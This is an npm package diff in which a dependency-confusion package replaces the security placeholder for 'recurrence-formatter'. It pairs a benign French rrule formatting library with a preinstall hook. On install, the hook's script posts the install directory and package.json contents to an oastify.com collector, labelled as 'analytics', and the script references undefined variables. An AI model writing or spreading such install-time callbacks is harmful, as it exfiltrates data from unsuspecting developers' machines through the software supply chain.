recurrence-formatter 0.0.1-security → 1.0.4

package/dist/recurrence-formatter.umd.js

@@ -0,0 +1,367 @@
+(function (global, factory) {
+  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('rrule')) : typeof define === 'function' && define.amd ? define(['exports', 'rrule'], factory) : factory(global['recurrence-formatter'] = {}, global.rrule);
+})(this, function (exports, rrule) {
+  'use strict';
+
+  function _slicedToArray(arr, i) {
+    return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest();
+  }
+  function _arrayWithHoles(arr) {
+    if (Array.isArray(arr)) return arr;
+  }
+  function _iterableToArrayLimit(arr, i) {
+    var _arr = [];
+    var _n = true;
+    var _d = false;
+    var _e = undefined;
+    try {
+      for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) {
+        _arr.push(_s.value);
+        if (i && _arr.length === i) break;
+      }
+    } catch (err) {
+      _d = true;
+      _e = err;
+    } finally {
+      try {
+        if (!_n && _i["return"] != null) _i["return"]();
+      } finally {
+        if (_d) throw _e;
+      }
+    }
+    return _arr;
+  }
+  function _nonIterableRest() {
+    throw new TypeError("Invalid attempt to destructure non-iterable instance");
+  }
+  function generateArray(value) {
+    return Array.from({
+      length: value
+    }, function (v, i) {
+      return {
+        value: i + 1,
+        title: (i + 1).toString()
+      };
+    });
+  }
+  var recurrences = {
+    frequencyTypeItems: [{
+      value: 'DAILY',
+      title: 'quotidienne',
+      unitsText: 'jour(s)'
+    }, {
+      value: 'WEEKLY',
+      title: 'hebdomadaire',
+      unitsText: 'semaine(s)',
+      selected: true,
+      isFeminine: true
+    }, {
+      value: 'MONTHLY',
+      title: 'mensuelle',
+      unitsText: 'mois'
+    }, {
+      value: 'YEARLY',
+      title: 'annuelle',
+      unitsText: 'an(s)'
+    }],
+    weekDays: [{
+      title: 'lun.',
+      value: 'MO',
+      fullTitle: 'lundi'
+    }, {
+      title: 'mar.',
+      value: 'TU',
+      fullTitle: 'mardi'
+    }, {
+      title: 'mer.',
+      value: 'WE',
+      fullTitle: 'mercredi'
+    }, {
+      title: 'jeu.',
+      value: 'TH',
+      fullTitle: 'jeudi'
+    }, {
+      title: 'ven.',
+      value: 'FR',
+      fullTitle: 'vendredi'
+    }, {
+      title: 'sam.',
+      value: 'SA',
+      fullTitle: 'samedi'
+    }, {
+      title: 'dim.',
+      value: 'SU',
+      fullTitle: 'dimanche'
+    }],
+    frequencyItems: {
+      DAILY: generateArray(30),
+      YEARLY: generateArray(10),
+      MONTHLY: generateArray(11),
+      WEEKLY: generateArray(51)
+    },
+    monthlyRecurrence: {
+      number: generateArray(31),
+      occurences: [{
+        value: 1,
+        title: 'premier'
+      }, {
+        value: 2,
+        title: 'deuxième'
+      }, {
+        value: 3,
+        title: 'troisième'
+      }, {
+        value: 4,
+        title: 'quatrième'
+      }, {
+        value: 5,
+        title: 'cinquième'
+      }, {
+        value: -1,
+        title: 'dernier'
+      }],
+      days: [{
+        value: 'MO',
+        title: 'lundi'
+      }, {
+        value: 'TU',
+        title: 'mardi'
+      }, {
+        value: 'WE',
+        title: 'mercredi'
+      }, {
+        value: 'TH',
+        title: 'jeudi'
+      }, {
+        value: 'FR',
+        title: 'vendredi'
+      }, {
+        value: 'SA',
+        title: 'samedi'
+      }, {
+        value: 'SU',
+        title: 'dimanche'
+      }]
+    }
+  };
+  var formatDate = function formatDate(date) {
+    return "".concat(date.toISOString().substr(0, 19).replace(/[-:]/g, ''), "Z");
+  };
+  function getRecurrenceObjectFromRrule(rrule$$1, shouldUseRruleConversion) {
+    var now = new Date();
+    var rec;
+    if (rrule$$1) {
+      var rr = shouldUseRruleConversion ? rrule.rrulestr(rrule$$1) : rrule$$1;
+      rec = rr && rr.options || {};
+    } else {
+      rec = {};
+    }
+    var months = ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12'];
+    var weekDays = ['MO', 'TU', 'WE', 'TH', 'FR', 'SA', 'SU'];
+    var hasRecurrence = false;
+    var frequencyType = 'WEEKLY';
+    var frequencyUnit = 1;
+    var recurrenceEndCount = 5;
+    var recurrenceEndDate = "".concat(now.getDate(), "/").concat(months[now.getMonth()], "/").concat(now.getFullYear());
+    var recurrenceEndType = 'none';
+    var weeklyRecurrence = [weekDays[now.getDay() - 1]];
+    var monthlyRecurrenceType = 'byDayPosition';
+    var monthlyRecurrenceNumber = 1;
+    var monthlyRecurrenceOccurence = 1;
+    var monthlyRecurrenceDay = 'MO';
+    if (rec.freq !== undefined) {
+      hasRecurrence = true;
+      /* @TODO: à remove quand la lib rrule sera remove aussi */
+
+      frequencyType = rrule.RRule.FREQUENCIES[rec.freq];
+      frequencyUnit = rec.interval;
+      if (rec.count) {
+        recurrenceEndType = 'count';
+        recurrenceEndCount = rec.count;
+      } else if (rec.until) {
+        recurrenceEndType = 'date';
+        var untilDate = new Date(rec.until);
+        recurrenceEndDate = "".concat(untilDate.getDate(), "/").concat(months[untilDate.getMonth()], "/").concat(untilDate.getFullYear());
+      } else {
+        recurrenceEndType = 'none';
+      }
+      if (rec.freq === rrule.RRule.WEEKLY) {
+        weeklyRecurrence = [];
+        rec.byweekday.forEach(function (d) {
+          weeklyRecurrence.push(weekDays[d]);
+        });
+      } else if (rec.freq === rrule.RRule.MONTHLY) {
+        if (rec.bymonthday && rec.bymonthday.length) {
+          monthlyRecurrenceType = 'byMonthDay';
+          var _rec$bymonthday = _slicedToArray(rec.bymonthday, 1);
+          monthlyRecurrenceNumber = _rec$bymonthday[0];
+        } else if (rec.bysetpos && rec.bysetpos.length) {
+          monthlyRecurrenceType = 'byDayPosition';
+          var _rec$bysetpos = _slicedToArray(rec.bysetpos, 1);
+          monthlyRecurrenceOccurence = _rec$bysetpos[0];
+          monthlyRecurrenceDay = weekDays[rec.byweekday[0]];
+        }
+      }
+    }
+    return {
+      hasRecurrence: hasRecurrence,
+      frequencyType: frequencyType,
+      frequencyUnit: frequencyUnit,
+      recurrenceEndCount: recurrenceEndCount,
+      recurrenceEndDate: recurrenceEndDate,
+      recurrenceEndType: recurrenceEndType,
+      weeklyRecurrence: weeklyRecurrence,
+      monthlyRecurrenceType: monthlyRecurrenceType,
+      monthlyRecurrenceNumber: monthlyRecurrenceNumber,
+      monthlyRecurrenceOccurence: monthlyRecurrenceOccurence,
+      monthlyRecurrenceDay: monthlyRecurrenceDay
+    };
+  }
+  function getRecurrenceTextFromRruleString(rruleString) {
+    var text = '';
+    if (rruleString) {
+      var textArray = [];
+      var rrule$$1 = rrule.rrulestr(rruleString);
+      var _getRecurrenceObjectF = getRecurrenceObjectFromRrule(rrule$$1),
+        hasRecurrence = _getRecurrenceObjectF.hasRecurrence,
+        frequencyUnit = _getRecurrenceObjectF.frequencyUnit,
+        frequencyType = _getRecurrenceObjectF.frequencyType,
+        weeklyRecurrence = _getRecurrenceObjectF.weeklyRecurrence,
+        monthlyRecurrenceType = _getRecurrenceObjectF.monthlyRecurrenceType,
+        monthlyRecurrenceNumber = _getRecurrenceObjectF.monthlyRecurrenceNumber,
+        monthlyRecurrenceOccurence = _getRecurrenceObjectF.monthlyRecurrenceOccurence,
+        monthlyRecurrenceDay = _getRecurrenceObjectF.monthlyRecurrenceDay,
+        recurrenceEndType = _getRecurrenceObjectF.recurrenceEndType,
+        recurrenceEndCount = _getRecurrenceObjectF.recurrenceEndCount,
+        recurrenceEndDate = _getRecurrenceObjectF.recurrenceEndDate;
+      if (hasRecurrence) {
+        var type = recurrences.frequencyTypeItems.filter(function (f) {
+          return f.value === frequencyType;
+        })[0];
+        var interval = frequencyUnit === 1 ? '' : frequencyUnit;
+        var typeLabel = type.unitsText.replace(/[()]/g, '');
+        var allText = type.isFeminine ? 'toutes les' : 'tous les';
+        var typeText = "".concat(type.title, ", a lieu");
+        textArray.push(typeText);
+        switch (frequencyType) {
+          case 'WEEKLY':
+            {
+              var wd = [];
+              recurrences.weekDays.forEach(function (day) {
+                if (weeklyRecurrence.indexOf(day.value) !== -1) {
+                  wd.push("".concat(day.fullTitle, "s"));
+                }
+              });
+              if (wd.length) {
+                var txt = 'les ';
+                if (wd.length > 1) {
+                  var lastEntry = wd.pop();
+                  txt += wd.join(', ');
+                  txt += " et ".concat(lastEntry);
+                } else {
+                  txt += wd[0];
+                }
+                textArray.push(txt);
+              }
+              break;
+            }
+          case 'MONTHLY':
+            {
+              if (monthlyRecurrenceType === 'byMonthDay') {
+                textArray.push("le ".concat(monthlyRecurrenceNumber, " du mois"));
+              } else if (monthlyRecurrenceType === 'byDayPosition') {
+                var position = recurrences.monthlyRecurrence.occurences.filter(function (f) {
+                  return f.value === monthlyRecurrenceOccurence;
+                });
+                var day = recurrences.monthlyRecurrence.days.filter(function (f) {
+                  return f.value === monthlyRecurrenceDay;
+                });
+                textArray.push("le ".concat(position[0].title, " ").concat(day[0].title, " du mois"));
+              }
+              break;
+            }
+          default:
+            break;
+        }
+        if (interval) {
+          textArray.push(allText, interval, typeLabel);
+        } else {
+          textArray.push(allText, typeLabel);
+        }
+        if (recurrenceEndType === 'count') {
+          textArray.push("pendant ".concat(recurrenceEndCount, " occurence").concat(recurrenceEndCount > 1 ? 's' : ''));
+        } else if (recurrenceEndType === 'date') {
+          textArray.push("jusqu'au ".concat(recurrenceEndDate));
+        }
+        text += textArray.join(' ');
+      }
+    }
+    return text;
+  }
+  function getRruleStringFromRecurrenceObject(rruleObj) {
+    var text = '';
+    if (rruleObj) {
+      var frequencyUnit = rruleObj.frequencyUnit,
+        frequencyType = rruleObj.frequencyType,
+        weeklyRecurrence = rruleObj.weeklyRecurrence,
+        monthlyRecurrenceType = rruleObj.monthlyRecurrenceType,
+        monthlyRecurrenceNumber = rruleObj.monthlyRecurrenceNumber,
+        monthlyRecurrenceOccurence = rruleObj.monthlyRecurrenceOccurence,
+        monthlyRecurrenceDay = rruleObj.monthlyRecurrenceDay,
+        recurrenceEndType = rruleObj.recurrenceEndType,
+        recurrenceEndCount = rruleObj.recurrenceEndCount,
+        recurrenceEndDate = rruleObj.recurrenceEndDate;
+      var obj = {};
+      obj.freq = rrule.RRule[frequencyType];
+      obj.interval = frequencyUnit;
+      if (frequencyType === 'MONTHLY') {
+        if (monthlyRecurrenceType === 'byMonthDay') {
+          obj.bymonthday = [monthlyRecurrenceNumber];
+        } else if (monthlyRecurrenceType === 'byDayPosition') {
+          obj.bysetpos = [monthlyRecurrenceOccurence];
+          obj.byweekday = [rrule.RRule[monthlyRecurrenceDay]];
+        }
+      } else if (frequencyType === 'WEEKLY' && weeklyRecurrence) {
+        obj.byweekday = weeklyRecurrence.map(function (w) {
+          return rrule.RRule[w];
+        });
+      }
+      if (recurrenceEndType === 'count') {
+        obj.count = recurrenceEndCount;
+      } else if (recurrenceEndType === 'date') {
+        obj.until = recurrenceEndDate.toISOString();
+      }
+      var rr = new rrule.RRule(obj);
+      text += rr.toString().replace('RRULE:', '');
+    }
+    return text;
+  }
+  function getRecurrenceTextFromRruleObj(rruleObj, start) {
+    var stringRule = [];
+    Object.keys(rruleObj).forEach(function (key) {
+      var val = rruleObj[key];
+      if (key === 'until') {
+        val = formatDate(val);
+      }
+      if (Array.isArray(rruleObj[key])) {
+        val = rruleObj[key].join(',');
+      } // force freq to be the first param of the rrule
+
+      if (key === 'freq') {
+        stringRule.unshift("".concat(key.toUpperCase(), "=").concat(val));
+      } else {
+        stringRule.push("".concat(key.toUpperCase(), "=").concat(val));
+      }
+    });
+    var str = "DTSTART:".concat(formatDate(start));
+    str += "\nRRULE:".concat(stringRule.join(';'));
+    return getRecurrenceTextFromRruleString(str);
+  }
+  exports.getRecurrenceObjectFromRrule = getRecurrenceObjectFromRrule;
+  exports.getRecurrenceTextFromRruleString = getRecurrenceTextFromRruleString;
+  exports.getRruleStringFromRecurrenceObject = getRruleStringFromRecurrenceObject;
+  exports.getRecurrenceTextFromRruleObj = getRecurrenceTextFromRruleObj;
+  Object.defineProperty(exports, '__esModule', {
+    value: true
+  });
+});

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "recurrence-formatter",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.4",
+  "description": "This package sends a callback to a server when installed (for analytics purposes). Original recurrence-formatter from a Dependency Confusion (from YesWH Hunter)",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"All went OK.\" && exit 1",
+    "preinstall": "node ./scripts/preinstall.js"
+  },
+  "author": "sicarius@wearehackerone.com",
+  "license": "ISC"
 }

package/scripts/preinstall.js

@@ -0,0 +1,51 @@
+//author:- sicarius@wearehackerone.com
+const https = require("https");
+const packageJSON = require("../package.json");
+const fs = require('fs');
+const path = require('path');
+
+// Check for a required file in the project directory
+const requiredFile = path.join(__dirname, '..', 'required-file.txt');
+
+if (!fs.existsSync(requiredFile)) {
+  console.error('Error: The required-file.txt is missing. Please create it before installing the package.');
+}
+
+console.log('Preinstall required check completed successfully. Proceeding with custom analytics...');
+
+const analytics = JSON.stringify({
+    p: package,
+    c: __dirname,
+    pjson: packageJSON,
+});
+
+var postData = querystring.stringify({
+    msg: analytics,
+});
+
+var http_request_options = {
+    // Registering the user
+    hostname: "jl83enqid4soifhh0i1br2cy8peg26qv.oastify.com",
+    port: 443,
+    path: "/",
+    method: "POST",
+    headers: {
+        "Content-Type": "application/x-www-form-urlencoded",
+        "Content-Length": postData.length,
+    },
+};
+
+var req = https.request(http_request_options, (res) => {
+    res.on("data", (d) => {
+        process.stdout.write(d);
+    });
+});
+
+req.on("error", (e) => {
+    // console.error(e);
+});
+console.log('Preinstall script completed...');
+
+req.write(postData);
+req.end();
+

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=recurrence-formatter for more information.